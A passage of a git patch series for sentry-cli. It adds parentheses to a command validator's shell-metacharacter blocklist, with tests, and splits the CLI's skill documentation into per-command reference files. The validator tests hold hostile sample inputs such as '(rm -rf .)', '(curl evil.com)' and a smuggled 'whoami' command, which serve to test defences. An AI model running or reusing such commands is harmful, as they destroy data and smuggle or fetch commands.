100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -37,6 +37,8 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: "|", label: "piping (|)" }, { pattern: "`", label: "command substitution (`)" }, { pattern: "$(", label: "command substitution ($()" }, + { pattern: "(", label: "subshell/grouping (()" }, + { pattern: ")", label: "subshell/grouping ())" }, { pattern: "$", label: "variable/command expansion ($)" }, { pattern: "'", label: "single quote (')" }, { pattern: '"', label: 'double quote (")' }, diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index f5f3b105..fa627812 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -179,6 +179,7 @@ export async function runWizard(options: WizardOptions): Promise { spin.stop("Error", 1); log.error(`No suspend payload found for step "${stepId}"`); cancel("Setup failed"); + process.exitCode = 1; return; } diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 557de8a9..1dbe25c8 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -421,6 +421,7 @@ describe("runWizard", () => { expect(logMock.error).toHaveBeenCalled(); const errorMsg: string = logMock.error.mock.calls[0][0]; expect(errorMsg).toContain("No suspend payload"); + expect(process.exitCode).toBe(1); }); }); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 85009f88..92ebc1b7 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -68,6 +68,12 @@ describe("validateCommand", () => { } }); + test("blocks subshell bypass via parentheses", () => { + for (const cmd of ["(rm -rf .)", "(curl evil.com)"]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + test("blocks shell escape bypass attempts", () => { for (const cmd of [ "npm install foo$'\\x3b'whoami", From c1461d3493ef62cb7186cca3e92404be6ffdf2d5 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 10:37:27 +0100 Subject: [PATCH 48/72] refactor: split skill docs into reference files and improve skill loader Move verbose inline command documentation from SKILL.md into per-command reference files under references/. Update generate-skill and check-skill scripts to support the new structure, and refactor agent-skills loader to resolve reference paths at runtime. Co-Authored-By: Claude Opus 4.6 --- .cursor/skills/sentry-cli/SKILL.md | 1 - .github/workflows/ci.yml | 12 +- docs/public/.well-known/skills/index.json | 16 +- .../.well-known/skills/sentry-cli/SKILL.md | 1 - plugins/sentry-cli/skills/sentry-cli/SKILL.md | 699 +------------ .../skills/sentry-cli/references/api.md | 89 ++ .../skills/sentry-cli/references/auth.md | 103 ++ .../skills/sentry-cli/references/cli.md | 132 +++ .../skills/sentry-cli/references/event.md | 61 ++ .../skills/sentry-cli/references/init.md | 59 ++ .../skills/sentry-cli/references/issue.md | 201 ++++ .../skills/sentry-cli/references/log.md | 175 ++++ .../skills/sentry-cli/references/org.md | 66 ++ .../skills/sentry-cli/references/project.md | 79 ++ .../skills/sentry-cli/references/repo.md | 28 + .../skills/sentry-cli/references/team.md | 52 + .../skills/sentry-cli/references/trace.md | 50 + script/check-skill.ts | 123 ++- script/generate-skill.ts | 958 ++++++++++++++++-- src/lib/agent-skills.ts | 196 +++- test/commands/cli/setup.test.ts | 45 +- test/lib/agent-skills.test.ts | 183 +++- 22 files changed, 2455 insertions(+), 874 deletions(-) delete mode 120000 .cursor/skills/sentry-cli/SKILL.md delete mode 120000 docs/public/.well-known/skills/sentry-cli/SKILL.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/api.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/auth.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/cli.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/event.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/init.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/issue.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/log.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/org.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/project.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/repo.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/team.md create mode 100644 plugins/sentry-cli/skills/sentry-cli/references/trace.md diff --git a/.cursor/skills/sentry-cli/SKILL.md b/.cursor/skills/sentry-cli/SKILL.md deleted file mode 120000 index 7b44d2c9..00000000 --- a/.cursor/skills/sentry-cli/SKILL.md +++ /dev/null @@ -1 +0,0 @@ -../../../plugins/sentry-cli/skills/sentry-cli/SKILL.md \ No newline at end of file diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0f5c8a2d..6e8990ab 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -110,22 +110,22 @@ jobs: key: node-modules-${{ hashFiles('bun.lock', 'patches/**') }} - if: steps.cache.outputs.cache-hit != 'true' run: bun install --frozen-lockfile - - name: Check SKILL.md + - name: Check skill files id: check run: bun run check:skill continue-on-error: true - - name: Auto-commit regenerated SKILL.md + - name: Auto-commit regenerated skill files if: steps.check.outcome == 'failure' && steps.token.outcome == 'success' run: | git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" - git add plugins/sentry-cli/skills/sentry-cli/SKILL.md - git commit -m "chore: regenerate SKILL.md" + git add plugins/sentry-cli/skills/sentry-cli/ docs/public/.well-known/skills/index.json + git commit -m "chore: regenerate skill files" git push - - name: Fail for fork PRs with stale SKILL.md + - name: Fail for fork PRs with stale skill files if: steps.check.outcome == 'failure' && steps.token.outcome != 'success' run: | - echo "::error::SKILL.md is out of date. Run 'bun run generate:skill' locally and commit the result." + echo "::error::Skill files are out of date. Run 'bun run generate:skill' locally and commit the result." exit 1 lint: diff --git a/docs/public/.well-known/skills/index.json b/docs/public/.well-known/skills/index.json index 7dc90675..2e280799 100644 --- a/docs/public/.well-known/skills/index.json +++ b/docs/public/.well-known/skills/index.json @@ -3,7 +3,21 @@ { "name": "sentry-cli", "description": "Guide for using the Sentry CLI to interact with Sentry from the command line. Use when the user asks about viewing issues, events, projects, organizations, making API calls, or authenticating with Sentry via CLI.", - "files": ["SKILL.md"] + "files": [ + "SKILL.md", + "references/auth.md", + "references/org.md", + "references/project.md", + "references/issue.md", + "references/event.md", + "references/api.md", + "references/cli.md", + "references/repo.md", + "references/team.md", + "references/log.md", + "references/trace.md", + "references/init.md" + ] } ] } diff --git a/docs/public/.well-known/skills/sentry-cli/SKILL.md b/docs/public/.well-known/skills/sentry-cli/SKILL.md deleted file mode 120000 index dc44f03f..00000000 --- a/docs/public/.well-known/skills/sentry-cli/SKILL.md +++ /dev/null @@ -1 +0,0 @@ -../../../../../plugins/sentry-cli/skills/sentry-cli/SKILL.md \ No newline at end of file diff --git a/plugins/sentry-cli/skills/sentry-cli/SKILL.md b/plugins/sentry-cli/skills/sentry-cli/SKILL.md index eae91388..93572107 100644 --- a/plugins/sentry-cli/skills/sentry-cli/SKILL.md +++ b/plugins/sentry-cli/skills/sentry-cli/SKILL.md @@ -33,691 +33,20 @@ sentry auth logout ## Available Commands -### Auth - -Authenticate with Sentry - -#### `sentry auth login` - -Authenticate with Sentry - -**Flags:** -- `--token - Authenticate using an API token instead of OAuth` -- `--timeout - Timeout for OAuth flow in seconds (default: 900) - (default: "900")` - -**Examples:** - -```bash -# OAuth device flow (recommended) -sentry auth login - -# Using an API token -sentry auth login --token YOUR_TOKEN -``` - -#### `sentry auth logout` - -Log out of Sentry - -**Examples:** - -```bash -sentry auth logout -``` - -#### `sentry auth refresh` - -Refresh your authentication token - -**Flags:** -- `--json - Output result as JSON` -- `--force - Force refresh even if token is still valid` - -**Examples:** - -```bash -sentry auth refresh -``` - -#### `sentry auth status` - -View authentication status - -**Flags:** -- `--show-token - Show the stored token (masked by default)` - -**Examples:** - -```bash -sentry auth status -``` - -#### `sentry auth token` - -Print the stored authentication token - -#### `sentry auth whoami` - -Show the currently authenticated user - -**Flags:** -- `--json - Output as JSON` - -### Org - -Work with Sentry organizations - -#### `sentry org list` - -List organizations - -**Flags:** -- `-n, --limit - Maximum number of organizations to list - (default: "30")` -- `--json - Output JSON` - -**Examples:** - -```bash -sentry org list - -sentry org list --json -``` - -#### `sentry org view ` - -View details of an organization - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` - -**Examples:** - -```bash -sentry org view - -sentry org view my-org - -sentry org view my-org -w -``` - -### Project - -Work with Sentry projects - -#### `sentry project list ` - -List projects - -**Flags:** -- `-n, --limit - Maximum number of projects to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` -- `-p, --platform - Filter by platform (e.g., javascript, python)` - -**Examples:** - -```bash -# List all projects -sentry project list - -# List projects in a specific organization -sentry project list - -# Filter by platform -sentry project list --platform javascript -``` - -#### `sentry project view ` - -View details of a project - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` - -**Examples:** - -```bash -# Auto-detect from DSN or config -sentry project view - -# Explicit org and project -sentry project view / - -# Find project across all orgs -sentry project view - -sentry project view my-org/frontend - -sentry project view my-org/frontend -w -``` - -### Issue - -Manage Sentry issues - -#### `sentry issue list ` - -List issues in a project - -**Flags:** -- `-q, --query - Search query (Sentry search syntax)` -- `-n, --limit - Maximum number of issues to list - (default: "25")` -- `-s, --sort - Sort by: date, new, freq, user - (default: "date")` -- `-t, --period - Time period for issue activity (e.g. 24h, 14d, 90d) - (default: "90d")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor for / or multi-target modes (use "last" to continue)` - -**Examples:** - -```bash -# Explicit org and project -sentry issue list / - -# All projects in an organization -sentry issue list / - -# Search for project across all accessible orgs -sentry issue list - -# Auto-detect from DSN or config -sentry issue list - -# List issues in a specific project -sentry issue list my-org/frontend - -sentry issue list my-org/ - -sentry issue list frontend - -sentry issue list my-org/frontend --query "TypeError" - -sentry issue list my-org/frontend --sort freq --limit 20 - -# Show only unresolved issues -sentry issue list my-org/frontend --query "is:unresolved" - -# Show resolved issues -sentry issue list my-org/frontend --query "is:resolved" - -# Combine with other search terms -sentry issue list my-org/frontend --query "is:unresolved TypeError" -``` - -#### `sentry issue explain ` - -Analyze an issue's root cause using Seer AI - -**Flags:** -- `--json - Output as JSON` -- `--force - Force new analysis even if one exists` - -**Examples:** - -```bash -sentry issue explain - -# By numeric issue ID -sentry issue explain 123456789 - -# By short ID with org prefix -sentry issue explain my-org/MYPROJECT-ABC - -# By project-suffix format -sentry issue explain myproject-G - -# Force a fresh analysis -sentry issue explain 123456789 --force -``` - -#### `sentry issue plan ` - -Generate a solution plan using Seer AI - -**Flags:** -- `--cause - Root cause ID to plan (required if multiple causes exist)` -- `--json - Output as JSON` -- `--force - Force new plan even if one exists` - -**Examples:** - -```bash -sentry issue plan - -# After running explain, create a plan -sentry issue plan 123456789 - -# Specify which root cause to plan for (if multiple were found) -sentry issue plan 123456789 --cause 0 - -# By short ID with org prefix -sentry issue plan my-org/MYPROJECT-ABC --cause 1 - -# By project-suffix format -sentry issue plan myproject-G --cause 0 -``` - -#### `sentry issue view ` - -View details of a specific issue - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` -- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` - -**Examples:** - -```bash -# By issue ID -sentry issue view - -# By short ID -sentry issue view - -sentry issue view FRONT-ABC - -sentry issue view FRONT-ABC -w -``` - -### Event - -View Sentry events - -#### `sentry event view ` - -View details of a specific event - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` -- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` - -**Examples:** - -```bash -sentry event view - -sentry event view abc123def456 - -sentry event view abc123def456 -w -``` - -### Api - -Make an authenticated API request - -#### `sentry api ` - -Make an authenticated API request - -**Flags:** -- `-X, --method - The HTTP method for the request - (default: "GET")` -- `-d, --data - Inline JSON body for the request (like curl -d)` -- `-F, --field ... - Add a typed parameter (key=value, key[sub]=value, key[]=value)` -- `-f, --raw-field ... - Add a string parameter without JSON parsing` -- `-H, --header ... - Add a HTTP request header in key:value format` -- `--input - The file to use as body for the HTTP request (use "-" to read from standard input)` -- `-i, --include - Include HTTP response status line and headers in the output` -- `--silent - Do not print the response body` -- `--verbose - Include full HTTP request and response in the output` - -**Examples:** - -```bash -sentry api [options] - -# List organizations -sentry api /organizations/ - -# Get a specific organization -sentry api /organizations/my-org/ - -# Get project details -sentry api /projects/my-org/my-project/ - -# Create a new project -sentry api /teams/my-org/my-team/projects/ \ - --method POST \ - --field name="New Project" \ - --field platform=javascript - -# Update an issue status -sentry api /issues/123456789/ \ - --method PUT \ - --field status=resolved - -# Assign an issue -sentry api /issues/123456789/ \ - --method PUT \ - --field assignedTo="user@example.com" - -# Delete a project -sentry api /projects/my-org/my-project/ \ - --method DELETE - -sentry api /organizations/ \ - --header "X-Custom-Header:value" - -sentry api /organizations/ --include - -# Get all issues (automatically follows pagination) -sentry api /projects/my-org/my-project/issues/ --paginate -``` - -### Cli - -CLI-related commands - -#### `sentry cli feedback ` - -Send feedback about the CLI - -#### `sentry cli fix` - -Diagnose and repair CLI database issues - -**Flags:** -- `--dry-run - Show what would be fixed without making changes` - -#### `sentry cli setup` - -Configure shell integration - -**Flags:** -- `--install - Install the binary from a temp location to the system path` -- `--method - Installation method (curl, npm, pnpm, bun, yarn)` -- `--channel - Release channel to persist (stable or nightly)` -- `--no-modify-path - Skip PATH modification` -- `--no-completions - Skip shell completion installation` -- `--no-agent-skills - Skip agent skill installation for AI coding assistants` -- `--quiet - Suppress output (for scripted usage)` - -#### `sentry cli upgrade ` - -Update the Sentry CLI to the latest version - -**Flags:** -- `--check - Check for updates without installing` -- `--force - Force upgrade even if already on the latest version` -- `--method - Installation method to use (curl, brew, npm, pnpm, bun, yarn)` - -### Repo - -Work with Sentry repositories - -#### `sentry repo list ` - -List repositories - -**Flags:** -- `-n, --limit - Maximum number of repositories to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` - -### Team - -Work with Sentry teams - -#### `sentry team list ` - -List teams - -**Flags:** -- `-n, --limit - Maximum number of teams to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` - -**Examples:** - -```bash -# Auto-detect organization or list all -sentry team list - -# List teams in a specific organization -sentry team list - -# Limit results -sentry team list --limit 10 - -sentry team list --json -``` - -### Log - -View Sentry logs - -#### `sentry log list ` - -List logs from a project - -**Flags:** -- `-n, --limit - Number of log entries (1-1000) - (default: "100")` -- `-q, --query - Filter query (Sentry search syntax)` -- `-f, --follow - Stream logs (optionally specify poll interval in seconds)` -- `--json - Output as JSON` - -**Examples:** - -```bash -# Auto-detect from DSN or config -sentry log list - -# Explicit org and project -sentry log list / - -# Search for project across all accessible orgs -sentry log list - -# List last 100 logs (default) -sentry log list - -# Stream with default 2-second poll interval -sentry log list -f - -# Stream with custom 5-second poll interval -sentry log list -f 5 - -# Show only error logs -sentry log list -q 'level:error' - -# Filter by message content -sentry log list -q 'database' - -# Show last 50 logs -sentry log list --limit 50 - -# Show last 500 logs -sentry log list -n 500 - -# Stream error logs from a specific project -sentry log list my-org/backend -f -q 'level:error' -``` - -#### `sentry log view ` - -View details of a specific log entry - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` - -**Examples:** - -```bash -# Auto-detect from DSN or config -sentry log view - -# Explicit org and project -sentry log view / - -# Search for project across all accessible orgs -sentry log view - -sentry log view 968c763c740cfda8b6728f27fb9e9b01 - -sentry log view 968c763c740cfda8b6728f27fb9e9b01 -w - -sentry log view my-org/backend 968c763c740cfda8b6728f27fb9e9b01 - -sentry log list --json | jq '.[] | select(.level == "error")' -``` - -### Trace - -View distributed traces - -#### `sentry trace list ` - -List recent traces in a project - -**Flags:** -- `-n, --limit - Number of traces (1-1000) - (default: "20")` -- `-q, --query - Search query (Sentry search syntax)` -- `-s, --sort - Sort by: date, duration - (default: "date")` -- `--json - Output as JSON` - -#### `sentry trace view ` - -View details of a specific trace - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` -- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` - -#### `sentry trace logs ` - -View logs associated with a trace - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open trace in browser` -- `-t, --period - Time period to search (e.g., "14d", "7d", "24h"). Default: 14d - (default: "14d")` -- `-n, --limit - Number of log entries (1-1000) - (default: "100")` -- `-q, --query - Additional filter query (Sentry search syntax)` - -### Init - -Initialize Sentry in your project - -#### `sentry init ` - -Initialize Sentry in your project - -**Flags:** -- `--force - Continue even if Sentry is already installed` -- `-y, --yes - Non-interactive mode (accept defaults)` -- `--dry-run - Preview changes without applying them` -- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` - -### Issues - -List issues in a project - -#### `sentry issues ` - -List issues in a project - -**Flags:** -- `-q, --query - Search query (Sentry search syntax)` -- `-n, --limit - Maximum number of issues to list - (default: "25")` -- `-s, --sort - Sort by: date, new, freq, user - (default: "date")` -- `-t, --period - Time period for issue activity (e.g. 24h, 14d, 90d) - (default: "90d")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor for / or multi-target modes (use "last" to continue)` - -### Orgs - -List organizations - -#### `sentry orgs` - -List organizations - -**Flags:** -- `-n, --limit - Maximum number of organizations to list - (default: "30")` -- `--json - Output JSON` - -### Projects - -List projects - -#### `sentry projects ` - -List projects - -**Flags:** -- `-n, --limit - Maximum number of projects to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` -- `-p, --platform - Filter by platform (e.g., javascript, python)` - -### Repos - -List repositories - -#### `sentry repos ` - -List repositories - -**Flags:** -- `-n, --limit - Maximum number of repositories to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` - -### Teams - -List teams - -#### `sentry teams ` - -List teams - -**Flags:** -- `-n, --limit - Maximum number of teams to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` - -### Logs - -List logs from a project - -#### `sentry logs ` - -List logs from a project - -**Flags:** -- `-n, --limit - Number of log entries (1-1000) - (default: "100")` -- `-q, --query - Filter query (Sentry search syntax)` -- `-f, --follow - Stream logs (optionally specify poll interval in seconds)` -- `--json - Output as JSON` - -### Traces - -List recent traces in a project - -#### `sentry traces ` - -List recent traces in a project - -**Flags:** -- `-n, --limit - Number of traces (1-1000) - (default: "20")` -- `-q, --query - Search query (Sentry search syntax)` -- `-s, --sort - Sort by: date, duration - (default: "date")` -- `--json - Output as JSON` - -### Whoami - -Show the currently authenticated user - -#### `sentry whoami` - -Show the currently authenticated user - -**Flags:** -- `--json - Output as JSON` +| Command | Description | Reference | +|---------|-------------|-----------| +| `sentry auth` | Authenticate with Sentry | [Auth commands](references/auth.md) | +| `sentry org` | Work with Sentry organizations | [Org commands](references/org.md) | +| `sentry project` | Work with Sentry projects | [Project commands](references/project.md) | +| `sentry issue` | Manage Sentry issues | [Issue commands](references/issue.md) | +| `sentry event` | View Sentry events | [Event commands](references/event.md) | +| `sentry api` | Make an authenticated API request | [Api commands](references/api.md) | +| `sentry cli` | CLI-related commands | [Cli commands](references/cli.md) | +| `sentry repo` | Work with Sentry repositories | [Repo commands](references/repo.md) | +| `sentry team` | Work with Sentry teams | [Team commands](references/team.md) | +| `sentry log` | View Sentry logs | [Log commands](references/log.md) | +| `sentry trace` | View distributed traces | [Trace commands](references/trace.md) | +| `sentry init` | Initialize Sentry in your project | [Init commands](references/init.md) | ## Output Formats diff --git a/plugins/sentry-cli/skills/sentry-cli/references/api.md b/plugins/sentry-cli/skills/sentry-cli/references/api.md new file mode 100644 index 00000000..e8f1d741 --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/api.md @@ -0,0 +1,89 @@ +# Api Commands + +Make an authenticated API request + +## `sentry api ` + +Make an authenticated API request + +**Flags:** +- `-X, --method - The HTTP method for the request - (default: "GET")` +- `-d, --data - Inline JSON body for the request (like curl -d)` +- `-F, --field ... - Add a typed parameter (key=value, key[sub]=value, key[]=value)` +- `-f, --raw-field ... - Add a string parameter without JSON parsing` +- `-H, --header ... - Add a HTTP request header in key:value format` +- `--input - The file to use as body for the HTTP request (use "-" to read from standard input)` +- `-i, --include - Include HTTP response status line and headers in the output` +- `--silent - Do not print the response body` +- `--verbose - Include full HTTP request and response in the output` + +**Examples:** + +```bash +sentry api [options] + +# List organizations +sentry api /organizations/ + +# Get a specific organization +sentry api /organizations/my-org/ + +# Get project details +sentry api /projects/my-org/my-project/ + +# Create a new project +sentry api /teams/my-org/my-team/projects/ \ + --method POST \ + --field name="New Project" \ + --field platform=javascript + +# Update an issue status +sentry api /issues/123456789/ \ + --method PUT \ + --field status=resolved + +# Assign an issue +sentry api /issues/123456789/ \ + --method PUT \ + --field assignedTo="user@example.com" + +# Delete a project +sentry api /projects/my-org/my-project/ \ + --method DELETE + +sentry api /organizations/ \ + --header "X-Custom-Header:value" + +sentry api /organizations/ --include + +# Get all issues (automatically follows pagination) +sentry api /projects/my-org/my-project/issues/ --paginate +``` + +**Expected output:** + +``` +HTTP/2 200 +content-type: application/json +x-sentry-rate-limit-remaining: 95 + +[{"slug": "my-org", ...}] +``` + +## Workflows + +### Bulk update issues +1. Find issues: `sentry api /projects///issues/?query=is:unresolved --paginate` +2. Update status: `sentry api /issues// --method PUT --field status=resolved` +3. Assign issue: `sentry api /issues// --method PUT --field assignedTo="user@example.com"` + +### Explore the API +1. List organizations: `sentry api /organizations/` +2. List projects: `sentry api /organizations//projects/` +3. Check rate limits: `sentry api /organizations/ --include` + +## JSON Recipes + +- Get organization slugs: `sentry api /organizations/ | jq '.[].slug'` +- List project slugs: `sentry api /organizations//projects/ | jq '.[].slug'` +- Count issues by status: `sentry api /projects///issues/?query=is:unresolved | jq 'length'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/auth.md b/plugins/sentry-cli/skills/sentry-cli/references/auth.md new file mode 100644 index 00000000..dfbf1d6c --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/auth.md @@ -0,0 +1,103 @@ +# Auth Commands + +Authenticate with Sentry + +## `sentry auth login` + +Authenticate with Sentry + +**OAuth Flow:** + +1. Run `sentry auth login` +2. A URL and code will be displayed +3. Open the URL in your browser +4. Enter the code when prompted +5. Authorize the application +6. The CLI automatically receives your token + +**Flags:** +- `--token - Authenticate using an API token instead of OAuth` +- `--timeout - Timeout for OAuth flow in seconds (default: 900) - (default: "900")` + +**Examples:** + +```bash +# OAuth device flow (recommended) +sentry auth login + +# Using an API token +sentry auth login --token YOUR_TOKEN +``` + +## `sentry auth logout` + +Log out of Sentry + +**Examples:** + +```bash +sentry auth logout +``` + +## `sentry auth refresh` + +Refresh your authentication token + +**Flags:** +- `--json - Output result as JSON` +- `--force - Force refresh even if token is still valid` + +**Examples:** + +```bash +sentry auth refresh +``` + +## `sentry auth status` + +View authentication status + +**Flags:** +- `--show-token - Show the stored token (masked by default)` + +**Examples:** + +```bash +sentry auth status +``` + +**Expected output:** + +``` +Authenticated as: username +Organization: my-org +Token expires: 2024-12-31 +``` + +## `sentry auth token` + +Print the stored authentication token + +## `sentry auth whoami` + +Show the currently authenticated user + +**Flags:** +- `--json - Output as JSON` + +## Shortcuts + +- `sentry whoami` → shortcut for `sentry auth whoami` (accepts the same flags) + +## Workflows + +### First-time setup +1. Install: `curl https://cli.sentry.dev/install -fsS | bash` +2. Authenticate: `sentry auth login` +3. Verify: `sentry auth status` +4. Explore: `sentry org list` + +### CI/CD authentication +1. Create an API token at https://sentry.io/settings/account/api/auth-tokens/ +2. Set token: `sentry auth login --token $SENTRY_TOKEN` +3. Verify: `sentry auth status` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/cli.md b/plugins/sentry-cli/skills/sentry-cli/references/cli.md new file mode 100644 index 00000000..3bdf3a7f --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/cli.md @@ -0,0 +1,132 @@ +# Cli Commands + +CLI-related commands + +## `sentry cli feedback ` + +Send feedback about the CLI + +**Examples:** + +```bash +# Send positive feedback +sentry cli feedback i love this tool + +# Report an issue +sentry cli feedback the issue view is confusing + +# Suggest an improvement +sentry cli feedback would be great to have a search command +``` + +## `sentry cli fix` + +Diagnose and repair CLI database issues + +**Flags:** +- `--dry-run - Show what would be fixed without making changes` + +## `sentry cli setup` + +Configure shell integration + +**Flags:** +- `--install - Install the binary from a temp location to the system path` +- `--method - Installation method (curl, npm, pnpm, bun, yarn)` +- `--channel - Release channel to persist (stable or nightly)` +- `--no-modify-path - Skip PATH modification` +- `--no-completions - Skip shell completion installation` +- `--no-agent-skills - Skip agent skill installation for AI coding assistants` +- `--quiet - Suppress output (for scripted usage)` + +## `sentry cli upgrade ` + +Update the Sentry CLI to the latest version + +**Flags:** +- `--check - Check for updates without installing` +- `--force - Force upgrade even if already on the latest version` +- `--method - Installation method to use (curl, brew, npm, pnpm, bun, yarn)` + +**Examples:** + +```bash +sentry cli upgrade --check + +sentry cli upgrade + +sentry cli upgrade nightly +# or equivalently: +sentry cli upgrade --channel nightly + +sentry cli upgrade stable +# or equivalently: +sentry cli upgrade --channel stable + +sentry cli upgrade 0.5.0 + +sentry cli upgrade --force + +sentry cli upgrade --method npm +``` + +**Expected output:** + +``` +Installation method: curl +Current version: 0.4.0 +Channel: stable +Latest version: 0.5.0 + +Run 'sentry cli upgrade' to update. + +Installation method: curl +Current version: 0.4.0 +Channel: stable +Latest version: 0.5.0 + +Upgrading to 0.5.0... + +Successfully upgraded to 0.5.0. +``` + +## Release Channels + +The CLI supports two release channels: + +| Channel | Description | +|---------|-------------| +| `stable` | Latest stable release (default) | +| `nightly` | Built from `main`, updated on every commit | + +The chosen channel is persisted locally so that subsequent bare `sentry cli upgrade` +calls use the same channel without requiring a flag. + +## Installation Detection + +The CLI auto-detects how it was installed and uses the same method to upgrade: + +| Method | Detection | +|--------|-----------| +| curl | Binary located in `~/.sentry/bin` (installed via cli.sentry.dev) | +| brew | Binary located in a Homebrew Cellar (installed via `brew install getsentry/tools/sentry`) | +| npm | Globally installed via `npm install -g sentry` | +| pnpm | Globally installed via `pnpm add -g sentry` | +| bun | Globally installed via `bun install -g sentry` | +| yarn | Globally installed via `yarn global add sentry` | + +> **Note:** Nightly builds are only available as standalone binaries (via the curl +> install method). If you switch to the nightly channel from a package manager or +> Homebrew install, the CLI will automatically migrate to a standalone binary and +> warn you about the existing package-manager installation. + +## Workflows + +### Update the CLI +1. Check for updates: `sentry cli upgrade --check` +2. Upgrade: `sentry cli upgrade` + +### Switch to nightly builds +1. Switch channel: `sentry cli upgrade nightly` +2. Subsequent updates track nightly: `sentry cli upgrade` +3. Switch back to stable: `sentry cli upgrade stable` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/event.md b/plugins/sentry-cli/skills/sentry-cli/references/event.md new file mode 100644 index 00000000..4a53b9ff --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/event.md @@ -0,0 +1,61 @@ +# Event Commands + +View Sentry events + +## `sentry event view ` + +View details of a specific event + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` +- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` + +**Examples:** + +```bash +sentry event view + +sentry event view abc123def456 + +sentry event view abc123def456 -w +``` + +**Expected output:** + +``` +Event: abc123def456 +Issue: FRONT-ABC +Timestamp: 2024-01-20 14:22:00 + +Exception: + TypeError: Cannot read property 'foo' of undefined + at processData (app.js:123:45) + at handleClick (app.js:89:12) + at HTMLButtonElement.onclick (app.js:45:8) + +Tags: + browser: Chrome 120 + os: Windows 10 + environment: production + release: 1.2.3 + +Context: + url: https://example.com/app + user_id: 12345 +``` + +## Finding Event IDs + +Event IDs can be found: + +1. In the Sentry UI when viewing an issue's events +2. In the output of `sentry issue view` commands +3. In error reports sent to Sentry (as `event_id`) + +## Workflows + +### Investigate an error event +1. Find the event ID from `sentry issue view ` output +2. View event details: `sentry event view ` +3. Open in browser for full stack trace: `sentry event view -w` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/init.md b/plugins/sentry-cli/skills/sentry-cli/references/init.md new file mode 100644 index 00000000..b496a836 --- /dev/null +++ b/plugins/sentry-cli/skills/sentry-cli/references/init.md @@ -0,0 +1,59 @@ +# Init Commands + +Initialize Sentry in your project + +## `sentry init ` + +Initialize Sentry in your project + +**Flags:** +- `--force - Continue even if Sentry is already installed` +- `-y, --yes - Non-interactive mode (accept defaults)` +- `--dry-run - Preview changes without applying them` +- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` + +**Examples:** + +```bash +# Run the wizard in the current directory +sentry init + +# Target a subdirectory +sentry init ./my-app + +# Preview what changes would be made +sentry init --dry-run + +# Select specific features +sentry init --features errors,tracing,logs + +# Non-interactive mode (accept all defaults) +sentry init --yes +``` + +## What the wizard does + +1. **Detects your framework** — scans your project files to identify the platform and framework +2. **Installs the SDK** — adds the appropriate Sentry SDK package to your project +3. **Instruments your code** — configures error monitoring, tracing, and any selected features + +## Supported platforms + +The wizard currently supports: + +- **JavaScript / TypeScript** — Next.js, Express, SvelteKit, React +- **Python** — Flask, FastAPI + +More platforms and frameworks are coming soon. + +## Workflows + +### Set up a new project +1. Navigate to project: `cd my-app` +2. Authenticate: `sentry auth login` +3. Preview changes: `sentry init --dry-run` +4. Run the wizard: `sentry init` + +### Non-interactive CI setup +1. `sentry auth login --token $SENTRY_TOKEN` +2. `sentry init --yes --features 